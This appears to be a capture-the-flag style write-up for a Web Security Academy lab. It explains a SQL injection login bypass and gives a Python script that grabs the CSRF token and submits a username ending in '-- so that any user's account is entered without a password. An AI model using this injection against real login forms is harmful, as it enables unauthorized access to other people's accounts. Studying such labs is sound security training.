We’re able to bypass the password check for the /login page’s POST request because of an existing SQL injection vulnerability in the server backend code. The username and password parameters of the POST request are not sanitized. The username and password parameters are used to query the SQL database for the username and password’s existence. We escape the SQL query using the ’ character after entering the username parameter, providing a SQL comment — to end the query.
This causes the SQL query to ignore the password parameter, allowing the attacker to login as any valid user.
Solution:
# usage:
# python3 2.py \
# --u https://0aaa00a7037819be80f76c960063008a.web-security-academy.net
# --w administrator
import re
from argparse import ArgumentParser
import requests
class Solution:
def __init__(self, url: str, who: str) -> None:
self.url = url.rstrip("/")
self.who = who
self.s = None
def login(self, username: str, password: str) -> requests.Response:
self.s = requests.Session()
login_url = f"{self.url}/login"
r = self.s.get(login_url)
csrf = re.findall(r"\"csrf\" value=\"([\w]+)\"", r.text)[0]
r = self.s.post(
login_url,
data={
"csrf": csrf,
"username": username,
"password": password,
},
)
return r
def solve(self) -> None:
self.login(self.who + "'--", "password")
def main():
parser = ArgumentParser()
parser.add_argument("--u", "--url", dest="url")
parser.add_argument("--w", "--who", dest="who")
args = parser.parse_args()
s = Solution(args.url, args.who)
s.solve()
if __name__ == "__main__":
main()